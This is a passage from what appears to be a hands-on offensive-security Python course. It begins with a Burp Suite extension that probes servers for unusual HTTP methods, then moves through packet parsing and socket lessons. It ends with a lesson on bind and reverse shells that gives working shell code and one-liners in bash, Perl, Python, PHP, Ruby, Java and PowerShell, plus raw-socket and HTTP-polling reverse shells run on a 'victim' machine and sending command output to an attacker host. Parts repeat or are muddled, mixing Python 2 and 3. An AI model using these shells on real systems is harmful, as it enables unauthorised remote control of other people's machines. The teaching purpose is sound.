4409 from org.python.core.util import StringUtil
4410 import string
4411except ImportError:
4412 print "Failed to load dependencies."
4413
4414VERSION = "1.0"
4415callbacks = None
4416helpers = None
4417
4418methods = [
4419 'OPTIONS',
4420 #'GET',
4421 #'HEAD',
4422 #'POST',
4423 'PUT',
4424 #'DELETE',
4425 'TRACE',
4426 'CONNECT'
4427 'PROPFIND',
4428 'PROPPATCH',
4429 'MKCOL',
4430 'COPY',
4431 'MOVE',
4432 'LOCK',
4433 'UNLOCK',
4434 'VERSION-CONTROL',
4435 'REPORT',
4436 'CHECKOUT',
4437 'CHECKIN',
4438 'UNCHECKOUT',
4439 'MKWORKSPACE',
4440 'UPDATE',
4441 'LABEL',
4442 'MERGE',
4443 'BASELINE-CONTROL',
4444 'MKACTIVITY',
4445 'ORDERPATCH',
4446 'ACL',
4447 'SEARCH',
4448 'PATCH',
4449 'FOO'
4450]
4451
4452class BurpExtender(IBurpExtender, IScannerInsertionPointProvider, IScannerCheck):
4453 def registerExtenderCallbacks(self, callbacks):
4454 self._callbacks = callbacks
4455 self._helpers = callbacks.getHelpers()
4456
4457 callbacks.setExtensionName("VERBalyzer")
4458
4459 callbacks.registerScannerInsertionPointProvider(self)
4460 callbacks.registerScannerCheck(self)
4461
4462 print "Successfully loaded VERBalyzer v" + VERSION
4463 return
4464
4465 # helper method to search a response for occurrences of a literal match string
4466 # and return a list of start/end offsets
4467 def _get_matches(self, response, match):
4468 matches = []
4469 start = 0
4470 reslen = len(response)
4471 matchlen = len(match)
4472 while start < reslen:
4473 start = self._helpers.indexOf(response, match, True, start, reslen)
4474 if start == -1:
4475 break
4476 matches.append(array('i', [start, start + matchlen]))
4477 start += matchlen
4478
4479 return matches
4480
4481 #
4482 # implement IScannerInsertionPointProvider
4483 #
4484 def getInsertionPoints(self, baseRequestResponse):
4485 requestLine = self._helpers.analyzeRequest(baseRequestResponse.getRequest()).getHeaders()[0]
4486
4487 if (requestLine is None):
4488 return None
4489
4490 else:
4491 # if the parameter is present, add a single custom insertion point for it
4492 return [ InsertionPoint(self._helpers, baseRequestResponse.getRequest(), requestLine) ]
4493
4494 def doActiveScan(self, baseRequestResponse, insertionPoint):
4495 if 'HTTP Method' != insertionPoint.getInsertionPointName():
4496 return []
4497
4498 issues = []
4499
4500 for method in methods:
4501 checkRequest = insertionPoint.buildRequest(method)
4502 checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest)
4503
4504 matches = self._get_matches(checkRequestResponse.getResponse(), "HTTP/1.1 200 OK")
4505
4506 if len(matches) > 0:
4507 # get the offsets of the payload within the request, for in-UI highlighting
4508 requestHighlights = [insertionPoint.getPayloadOffsets(method)]
4509
4510 issues.append(CustomScanIssue(
4511 baseRequestResponse.getHttpService(),
4512 self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
4513 [self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, matches)],
4514 "Non-standard HTTP Method Found",
4515 "The following method was found to be supported by the server: " + method,
4516 "Medium"))
4517
4518 return issues
4519
4520 def doPassiveScan(self, basePair):
4521 return []
4522
4523 def consolidateDuplicateIssues(self, existingIssue, newIssue):
4524 # This method is called when multiple issues are reported for the same URL
4525 # path by the same extension-provided check. The value we return from this
4526 # method determines how/whether Burp consolidates the multiple issues
4527 # to prevent duplication
4528 #
4529 # Since the issue name is sufficient to identify our issues as different,
4530 # if both issues have the same name, only report the existing issue
4531 # otherwise report both issues
4532 if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
4533 return -1
4534 return 0
4535
4536#
4537# class implementing IScannerInsertionPoint
4538#
4539
4540class InsertionPoint(IScannerInsertionPoint):
4541
4542 def __init__(self, helpers, baseRequest, requestLine):
4543 self._helpers = helpers
4544 self._baseRequest = baseRequest
4545
4546 # parse the location of the input string within the decoded data
4547 start = 0
4548 self._insertionPointPrefix = requestLine[:start]
4549 end = string.find(requestLine, " /", start)
4550 if (end == -1):
4551 end = requestLine.length()
4552 self._baseValue = requestLine[start:end]
4553 self._insertionPointSuffix = requestLine[end:]
4554 return
4555
4556 #
4557 # implement IScannerInsertionPoint
4558 #
4559 def getInsertionPointName(self):
4560 return "HTTP Method"
4561
4562 def getBaseValue(self):
4563 return self._baseValue
4564
4565 def buildRequest(self, payload):
4566 # Gross workaround via Dafydd - https://support.portswigger.net/customer/portal/questions/12431820-design-of-active-scanner-plugin-vs-insertionpoints
4567 if payload.tostring() not in methods:
4568 raise Exception('Just stopping Burp from using our custom insertion point')
4569 else:
4570 requestStr = self._baseRequest.tostring()
4571
4572 newRequest = requestStr.replace(self._baseValue, payload)
4573 newRequestB = StringUtil.toBytes(newRequest)
4574
4575 # update the request with the new parameter value
4576 return newRequestB
4577
4578 def getPayloadOffsets(self, payload):
4579 return [0, len(payload.tostring())]
4580
4581 def getInsertionPointType(self):
4582 return INS_EXTENSION_PROVIDED
4583
4584#
4585# class implementing IScanIssue to hold our custom scan issue details
4586#
4587class CustomScanIssue (IScanIssue):
4588 def __init__(self, httpService, url, httpMessages, name, detail, severity):
4589 self._httpService = httpService
4590 self._url = url
4591 self._httpMessages = httpMessages
4592 self._name = name
4593 self._detail = detail
4594 self._severity = severity
4595
4596 def getUrl(self):
4597 return self._url
4598
4599 def getIssueName(self):
4600 return self._name
4601
4602 def getIssueType(self):
4603 return 0
4604
4605 def getSeverity(self):
4606 return self._severity
4607
4608 def getConfidence(self):
4609 return "Certain"
4610
4611 def getIssueBackground(self):
4612 pass
4613
4614 def getRemediationBackground(self):
4615 pass
4616
4617 def getIssueDetail(self):
4618 return self._detail
4619
4620 def getRemediationDetail(self):
4621 pass
4622
4623 def getHttpMessages(self):
4624 return self._httpMessages
4625
4626 def getHttpService(self):
4627 return self._httpService
4628
4629
4630
4631
4632
4633
4634
4635
4636
4637
4638-------------------------- Old Content below --------------------------
4639-------------------------- Old Content below --------------------------
4640-------------------------- Old Content below --------------------------
4641-------------------------- Old Content below --------------------------
4642-------------------------- Old Content below --------------------------
4643-------------------------- Old Content below --------------------------
4644-------------------------- Old Content below --------------------------
4645-------------------------- Old Content below --------------------------
4646-------------------------- Old Content below --------------------------
4647-------------------------- Old Content below --------------------------
4648-------------------------- Old Content below --------------------------
4649
4650
4651
4652
4653
4654
4655
4656
4657
4658
4659
4660
4661
4662#################################################
4663# Lesson 16: Parsing Packets with Python's DPKT #
4664#################################################
4665The first thing that you will need to do is install dpkt.
4666
4667---------------------------Type This-----------------------------------
4668
4669
4670 pip install dpkt
4671
4672----------------------------------------------------------------------
4673
4674
4675
4676Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
4677Run tcpdump to capture a .pcap file that we will use for the next exercise
4678
4679---------------------------Type This-----------------------------------
4680
4681sudo tcpdump -ni wlp8s0 -s0 -w quick.pcap
4682
4683----------------------------------------------------------------------
4684
4685
4686--open another command prompt--
4687
4688---------------------------Type This-----------------------------------
4689
4690
4691wget http://packetlife.net/media/library/12/tcpdump.pdf
4692
4693----------------------------------------------------------------------
4694
4695Let's do something simple:
4696
4697---------------------------Type This-----------------------------------
4698
4699
4700vi quickpcap.py
4701
4702---------------------------Paste This-----------------------------------
4703
4704#!/usr/bin/env python3
4705import dpkt
4706
4707# Simple script to read the timestamps in a pcap file
4708# Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
4709
4710f = open("quick.pcap","r")
4711pcap = dpkt.pcap.Reader(f)
4712
4713for ts, buf in pcap:
4714 print (ts)
4715
4716f.close()
4717
4718
4719
4720----------------------------------------------------------------------
4721
4722
4723Now let's run the script we just wrote
4724
4725---------------------------Type This-----------------------------------
4726
4727$ python3 quickpcap.py
4728
4729----------------------------------------------------------------------
4730
4731
4732
4733How dpkt breaks down a packet:
4734
4735Reference:
4736http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
4737
4738 src: the MAC address of SOURCE.
4739 dst: The MAC address of DESTINATION
4740 type: The protocol type of contained ethernet payload.
4741
4742The allowed values are listed in the file "ethernet.py",
4743such as:
4744a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
4745b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
4746
4747
4748References:
4749http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
4750
4751
4752
4753
4754
4755
4756
4757Ok - now let's have a look at pcapparsing.py
4758
4759---------------------------Type This-----------------------------------
4760
4761
4762sudo tcpdump -ni wlp8s0 -s0 -w capture-100.pcap
4763
4764----------------------------------------------------------------------
4765
4766--open another command prompt--
4767
4768---------------------------Type This-----------------------------------
4769
4770
4771wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
4772
4773----------------------------------------------------------------------
4774
4775
4776Ok - now let's have a look at pcapparsing.py
4777
4778
4779--------------------------------------------------------------
4780
4781****************************************
4782import socket
4783import dpkt
4784import sys
4785f = open('capture-100.pcap','r')
4786pcapReader = dpkt.pcap.Reader(f)
4787
4788for ts,data in pcapReader:
4789 ether = dpkt.ethernet.Ethernet(data)
4790 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
4791 ip = ether.data
4792 tcp = ip.data
4793 src = socket.inet_ntoa(ip.src)
4794 srcport = tcp.sport
4795 dst = socket.inet_ntoa(ip.dst)
4796 dstport = tcp.dport
4797 print(("src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)))
4798
4799f.close()
4800
4801----------------------------------------------------------------------
4802
4803
4804
4805OK - let's run it:
4806
4807---------------------------Type This-----------------------------------
4808
4809$ python3 pcapparsing.py
4810
4811----------------------------------------------------------------------
4812
4813----------------------------------------------------------------------
4814
4815
4816running this script might throw an error like this:
4817
4818Traceback (most recent call last):
4819 File "pcapparsing.py", line 9, in <module>
4820 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
4821
4822
4823If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
4824
4825
4826
4827
4828Your homework for today...
4829
4830
4831Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
4832
4833***********************************************************
4834
4835
4836
4837
4838Your challenge is to fix the Traceback error
4839
4840
4841
4842
4843----------------------------------------------------------------------
4844
4845
4846running this script might throw an error like this:
4847
4848Traceback (most recent call last):
4849 File "pcapparsing.py", line 9, in <module>
4850 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
4851
4852
4853If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
4854
4855
4856
4857
4858Your homework for today...
4859
4860
4861Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
4862
4863***********************************************************
4864
4865
4866
4867
4868Your challenge is to fix the Traceback error
4869
4870---------------------------Paste This-----------------------------------
4871
4872import pcapy
4873import dpkt
4874import sys
4875import socket
4876import struct
4877
4878SINGLE_SHOT = False
4879
4880# list all the network devices
4881pcapy.findalldevs()
4882
4883iface = "wlp8s0"
4884filter = "arp"
4885max_bytes = 1024
4886promiscuous = False
4887read_timeout = 100 # in milliseconds
4888
4889pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
4890pc.setfilter( filter )
4891
4892# callback for received packets
4893def recv_pkts(hdr, data):
4894 packet = dpkt.ethernet.Ethernet( data )
4895
4896 print (type( packet.data ))
4897 print ("ipsrc: %s, ipdst: %s" %( \
4898 socket.inet_ntoa( packet.data.spa ), \
4899 socket.inet_ntoa( packet.data.tpa ) ))
4900
4901 print ("macsrc: %s, macdst: %s " % (
4902 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
4903 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) ))
4904
4905if SINGLE_SHOT:
4906 header, data = pc.next()
4907 sys.exit(0)
4908else:
4909 packet_limit = -1 # infinite
4910 pc.loop( packet_limit, recv_pkts ) # capture packets
4911
4912
4913----------------------------------------------------------------------
4914
4915
4916
4917
4918##################################
4919# Day 1 Homework videos to watch #
4920##################################
4921Here is your first set of youtube videos that I'd like for you to watch:
4922https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
4923
4924How to install idle in Mac OS X:
4925https://stackoverflow.com/questions/8792044/how-do-i-launch-idle-the-development-environment-for-python-on-mac-os-10-7
4926
4927
4928
4929
4930########################
4931# Day 1 Challenge task #
4932########################
4933Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
4934
4935Running the current version of the script may give you an error like this:
4936
4937Traceback (most recent call last):
4938 File "pcapparsing.py", line 9, in <module>
4939 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
4940
4941
4942If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
4943
4944Your challenge task is to fix the Traceback error
4945
4946
4947
4948
4949
4950
4951 #################################
4952----------- ############### # Day 2: Python sockets & Scapy # ############### -----------
4953 #################################
4954
4955
4956
4957
4958
4959#############################################
4960# Lesson 17: Python Sockets & Port Scanning #
4961#############################################
4962
4963---------------------------Type This-----------------------------------
4964
4965$ sudo /sbin/iptables -F
4966
4967$ ncat -l -v -p 1234
4968
4969----------------------------------------------------------------------
4970
4971
4972
4973--open another terminal--
4974
4975---------------------------Type This-----------------------------------
4976
4977$ python3
4978
4979import socket
4980s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
4981s.connect(('localhost', 1234))
4982s.send('Hello World'.encode())
4983data = s.recv(1024)
4984s.close()
4985
4986print ('Received', data)
4987
4988
4989
4990----------------------------------------------------------------------
4991
4992
4993
4994
4995########################################
4996# Lesson 18: TCP Client and TCP Server #
4997########################################
4998
4999
5000---------------------------Type This-----------------------------------
5001
5002
5003vi tcpclient.py
5004
5005---------------------------Paste This-----------------------------------
5006
5007
5008#!/usr/bin/env python3
5009# tcpclient.py
5010
5011#!/usr/bin/python
5012# tcpclient.py
5013
5014import socket
5015
5016s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5017hostport = ("127.0.0.1", 1337)
5018s.connect(hostport)
5019s.send('Hello World'.encode())
5020buf = s.recv(1024)
5021print ("Received", buf)
5022
5023
5024
5025
5026----------------------------------------------------------------------
5027
5028
5029---------------------------Type This-----------------------------------
5030
5031
5032
5033
5034
5035
5036vi tcpserver.py
5037
5038
5039---------------------------Paste This-----------------------------------
5040
5041
5042#!/usr/bin/env python3
5043# tcpserver.py
5044
5045import socket
5046
5047import socket
5048
5049s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5050hostport = ("localhost", 1337)
5051s.bind(hostport)
5052s.listen(10)
5053while 1:
5054 cli,addr = s.accept()
5055 print ("Connection from", addr)
5056 buf = cli.recv(1024)
5057 print ("Received", buf)
5058 if buf == "Hello\n":
5059 cli.send("Server ID 1\n")
5060 cli.close()
5061s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5062hostport = ("", 1337)
5063s.bind(hostport)
5064s.listen(10)
5065while 1:
5066 cli,addr = s.accept()
5067 print "Connection from", addr
5068 buf = cli.recv(1024)
5069 print "Received", buf
5070 if buf == "Hello\n":
5071 cli.send("Server ID 1\n")
5072 cli.close()
5073
5074
5075
5076
5077----------------------------------------------------------------------
5078
5079
5080---------------------------Type This-----------------------------------
5081
5082
5083$ python3 tcpserver.py
5084
5085
5086--open another terminal--
5087$ python3 tcpclient.py
5088
5089
5090########################################
5091# Lesson 19: UDP Client and UDP Server #
5092########################################
5093
5094---------------------------Type This-----------------------------------
5095
5096vi udpclient.py
5097
5098
5099
5100---------------------------Paste This-----------------------------------
5101
5102import socket
5103
5104msgFromClient = "Hello UDP Server"
5105bytesToSend = str.encode(msgFromClient)
5106serverAddressPort = ("127.0.0.1", 20001)
5107bufferSize = 1024
5108
5109# Create a UDP socket at client side
5110UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
5111# Send to server using created UDP socket
5112UDPClientSocket.sendto(bytesToSend, serverAddressPort)
5113msgFromServer = UDPClientSocket.recvfrom(bufferSize)
5114msg = "Message from Server {}".format(msgFromServer[0])
5115print(msg)
5116
5117----------------------------------------------------------------------
5118
5119
5120
5121
5122---------------------------Type This-----------------------------------
5123
5124
5125vi udpserver.py
5126
5127
5128---------------------------Paste This-----------------------------------
5129
5130import socket
5131
5132localIP = "127.0.0.1"
5133localPort = 20001
5134bufferSize = 1024
5135msgFromServer = "Hello UDP Client"
5136bytesToSend = str.encode(msgFromServer)
5137# Create a datagram socket
5138UDPServerSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
5139# Bind to address and ip
5140UDPServerSocket.bind((localIP, localPort))
5141print("UDP server up and listening")
5142# Listen for incoming datagrams
5143while(True):
5144 bytesAddressPair = UDPServerSocket.recvfrom(bufferSize)
5145 message = bytesAddressPair[0]
5146 address = bytesAddressPair[1]
5147 clientMsg = "Message from Client:{}".format(message)
5148 clientIP = "Client IP Address:{}".format(address)
5149 print(clientMsg)
5150 print(clientIP)
5151
5152 # Sending a reply to client
5153 UDPServerSocket.sendto(bytesToSend, address)
5154
5155----------------------------------------------------------------------
5156
5157
5158---------------------------Type This-----------------------------------
5159
5160
5161$ python3 udpserver.py
5162
5163
5164--open another terminal--
5165$ python3 udpclient.py
5166
5167
5168
5169----------------------------------------------------------------------
5170
5171
5172######################################
5173# Lesson 20: Bind and Reverse Shells #
5174######################################
5175
5176---------------------------Type This-----------------------------------
5177
5178
5179vi simplebindshell.py
5180
5181---------------------------Paste This-----------------------------------
5182
5183#!/bin/env python3
5184import os,sys,socket
5185
5186ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
5187print ('-Creating socket..')
5188port = 31337
5189try:
5190 ls.bind(('', port))
5191 print ('-Binding the port on ')
5192 ls.listen(1)
5193 print ('-Listening, ')
5194 (conn, addr) = ls.accept()
5195 print ('-Waiting for connection...')
5196 cli= conn.fileno()
5197 print ('-Redirecting shell...')
5198 os.dup2(cli, 0)
5199 print ('In, ')
5200 os.dup2(cli, 1)
5201 print ('Out, ')
5202 os.dup2(cli, 2)
5203 print ('Err')
5204 print ('Done!')
5205 arg0=('/bin/sh')
5206 arg1=('-a')
5207 args=[arg0]+[arg1]
5208 os.execv(arg0, args)
5209except(socket.error):
5210 print ('fail\n')
5211 conn.close()
5212 sys.exit(1)
5213
5214
5215----------------------------------------------------------------------
5216
5217
5218
5219---------------------------Type This-----------------------------------
5220
5221nc TARGETIP 31337
5222
5223----------------------------------------------------------------------
5224
5225
5226---------------------
5227Preparing the target for a reverse shell
5228
5229---------------------------Type This-----------------------------------
5230
5231$ ncat -lvp 4444
5232
5233--open another terminal--
5234wget https://www.trustedsec.com/files/simple_py_shell.py
5235
5236vi simple_py_shell.py
5237
5238
5239#!/usr/bin/env python3
5240# imports here
5241# Copyright 2012 TrustedSec, LLC. All rights reserved.
5242#
5243# This piece of software code is licensed under the FreeBSD license..
5244#
5245# Visit http://www.freebsd.org/copyright/freebsd-license.html for more information.
5246import socket,subprocess
5247HOST = '192.168.1.54' # The remote host
5248PORT = 4444 # The same port as used by the server
5249s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5250# connect to attacker machine
5251s.connect((HOST, PORT))
5252# send we are connected
5253s.send('[*] Connection Established!')
5254# start loop
5255while 1:
5256 # recieve shell command
5257 data = s.recv(1024)
5258 # if its quit, then break out and close socket
5259 if data == "quit": break
5260 # do shell command
5261 proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
5262 # read output
5263 stdout_value = proc.stdout.read() + proc.stderr.read()
5264 # send output to attacker
5265 s.send(stdout_value)
5266# close socket
5267s.close()
5268
5269
5270
5271
5272-------------------------------
5273Tricky shells
5274
5275Reference:
5276http://securityweekly.com/2011/10/python-one-line-shell-code.html
5277http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
5278
5279
5280
5281What is os.dup2?
5282https://stackoverflow.com/questions/45517168/what-does-os-dup2-do-in-a-python-reverse-shell-when-used-with-the-socket
5283
5284
5285
5286
5287
5288Lots of reverse shells in different languages
5289---------------------------------------------------------------------
5290
5291
5292
5293Lots of reverse shells in different languages
5294---------------------------------------------------------------------
5295
5296
5297
5298########
5299# Bash #
5300########
5301
5302---------------------------Type This-----------------------------------
5303
5304
5305bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
5306
5307----------------------------------------------------------------------
5308
5309
5310########
5311# Perl #
5312########
5313
5314---------------------------Type This-----------------------------------
5315
5316
5317perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
5318
5319
5320
5321cat perlbackdoor.pl
5322#!/usr/bin/perl
5323use Socket;
5324use FileHandle;
5325$IP = $ARGV[0];
5326$PORT = $ARGV[1];
5327socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
5328connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
5329SOCKET->autoflush();
5330open(STDIN, ">&SOCKET");
5331open(STDOUT,">&SOCKET");
5332open(STDERR,">&SOCKET");
5333system("/bin/sh -i");
5334
5335----------------------------------------------------------------------
5336
5337##########
5338# Python #
5339##########
5340
5341---------------------------Type This-----------------------------------
5342
5343python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
5344
5345----------------------------------------------------------------------
5346
5347#######
5348# Php #
5349#######
5350---------------------------Type This-----------------------------------
5351
5352php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
5353
5354----------------------------------------------------------------------
5355
5356########
5357# ruby #
5358########
5359---------------------------Type This-----------------------------------
5360
5361ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
5362
5363----------------------------------------------------------------------
5364
5365
5366########
5367# Java #
5368########
5369---------------------------Type This-----------------------------------
5370
5371r = Runtime.getRuntime()
5372p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
5373p.waitFor()
5374
5375
5376exec 5<>/dev/tcp/127.0.0.1/1234
5377
5378
5379cat <&5 | while read line; do $line 2>&5 >&5; done
5380
5381exec 5<>/dev/tcp/127.0.0.1/1234
5382
5383while read line 0<&5; do $line 2>&5 >&5; done
53840<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
5385
5386----------------------------------------------------------------------
5387
5388##############
5389# Powershell #
5390##############
5391---------------------------Type This-----------------------------------
5392
5393powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()}; if ($process.ExitCode -ne $null) {$process.Close()}; exit; };$address = '127.0.0.1'; $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize ;$process = New-Object System.Diagnostics.Process ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' ;$process.StartInfo.RedirectStandardInput = 1 ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0 ;$process.Start() ;$inputstream = $process.StandardInput ;$outputstream = $process.StandardOutput ;Start-Sleep 1 ;$encoding = new-object System.Text.AsciiEncoding ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length) ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup} ;$pos = 0; $i = 1; while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos); $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos); $inputstream.write($string); start-sleep 1; if ($process.ExitCode -ne $null) {ReverseShellClean};else { $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){; $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}; $stream.Write($encoding.GetBytes($out),0,$out.length); $out = $null; $string = $null}} else {ReverseShellClean}};"
5394
5395
5396
5397----------------------------------------------------------------------
5398
5399
5400
5401
5402
5403###############################
5404# Reverse Shell in Python 3.6 #
5405###############################
5406
5407We'll create 2 python files. One for the server and one for the client.
5408
5409- Below is the python code that is running on victim/client Windows machine:
5410
5411---------------------------Paste This-----------------------------------
5412
5413# Client
5414
5415import socket # For Building TCP Connection
5416import subprocess # To start the shell in the system
5417
5418def connect():
5419 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5420 s.connect(('192.168.1.52',8083))
5421
5422 while True: #keep receiving commands
5423 command = s.recv(1024)
5424
5425 if 'terminate'.encode() in command:
5426 s.close() #close the socket
5427 break
5428
5429 else:
5430
5431 CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
5432 s.send( CMD.stdout.read() ) # send the result
5433 s.send( CMD.stderr.read() ) # incase you mistyped a command.
5434 # we will send back the error
5435
5436def main ():
5437 connect()
5438main()
5439
5440
5441
5442
5443----------------------------------------------------------------------
5444
5445- Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
5446
5447---------------------------Paste This-----------------------------------
5448
5449# Server
5450
5451import socket # For Building TCP Connection
5452
5453
5454def connect ():
5455
5456 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5457 s.bind(("192.168.1.52", 8083))
5458 s.listen(1)
5459 conn, addr = s.accept()
5460 print ('[+] We got a connection from: '.encode(), addr)
5461
5462
5463 while True:
5464 command = input("Shell> ".encode())
5465
5466 if 'terminate' in command:
5467 conn.send('termminate')
5468 conn.close() # close the connection with host
5469 break
5470
5471 else:
5472 conn.send(command) #send command
5473 print (conn.recv(1024))
5474
5475def main ():
5476 connect()
5477main()
5478
5479----------------------------------------------------------------------
5480
5481- First run server.py code from Ubuntu machine. From command line type:
5482
5483---------------------------Type This-----------------------------------
5484
5485$ python3 server.py
5486
5487
5488----------------------------------------------------------------------
5489
5490- First run server.py code from Ubuntu machine. From command line type:
5491
5492---------------------------Type This-----------------------------------
5493
5494$ python3 server.py
5495
5496----------------------------------------------------------------------
5497
5498- then check if 8080 port is open, and if we are listening on 8080:
5499
5500---------------------------Type This-----------------------------------
5501
5502netstat -antp | grep "8080"
5503
5504----------------------------------------------------------------------
5505
5506- Then on victim ( Windows ) unit run client.py code.
5507
5508
5509- Connection will be established, and you will get a shell on Ubuntu:
5510
5511---------------------------Type This-----------------------------------
5512
5513infosecaddicts@ubuntu:~$ python server.py
5514[+] We got a connection from: ('192.168.243.1', 56880)
5515Shell> arp -a
5516
5517Shell> ipconfig
5518
5519Shell> dir
5520----------------------------------------------------------------------
5521
5522
5523
5524
5525it was not possible to do this in python 3
5526
5527##########################################
5528# HTTP based reverse shell in Python 3.6 #
5529##########################################
5530
5531
5532- The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
5533- Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
5534
5535Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
5536
5537- Install requests package:
5538---------------------------Type This-----------------------------------
5539
5540$ python3 -m pip install requests
5541
5542----------------------------------------------------------------------
5543
5544- Copy and paste below code into client_http.py on your Windows machine:
5545
5546- In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
5547
5548---------------------------Paste This-----------------------------------
5549#######import BaseHTTPServer does not work in python 3.x#####
5550
5551# client_http
5552
5553import requests
5554import subprocess
5555import time
5556
5557
5558while True:
5559 req = requests.get('http://192.168.243.150')
5560 command = req.text
5561
5562 if 'terminate' in command:
5563 break
5564
5565 else:
5566 CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
5567 post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
5568 post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
5569
5570 time.sleep(3)
5571
5572----------------------------------------------------------------------
5573
5574- Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
5575
5576
5577---------------------------Paste This-----------------------------------
5578###import BaseHTTPServer does not work in python 3.x####
5579import BaseHTTPServer
5580HOST_NAME = '192.168.243.150'
5581PORT_NUMBER = 80
5582class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
5583
5584 def do_GET(s):
5585 command = raw_input("Shell> ")
5586 s.send_response(200)
5587 s.send_header("Content-type", "text/html")
5588 s.end_headers()
5589 s.wfile.write(command)
5590
5591
5592 def do_POST(s):
5593 s.send_response(200)
5594 s.end_headers()
5595 length = int(s.headers['Content-Length'])
5596 postVar = s.rfile.read(length)
5597 print postVar
5598
5599if __name__ == '__main__':
5600 server_class = BaseHTTPServer.HTTPServer
5601 httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
5602
5603 try:
5604 httpd.serve_forever()
5605 except KeyboardInterrupt:
5606 print'[!] Server is terminated'
5607 httpd.server_close()
5608
5609----------------------------------------------------------------------
5610
5611- run server_HTTP.py on Ubuntu with next command:
5612
5613---------------------------Type This-----------------------------------
5614
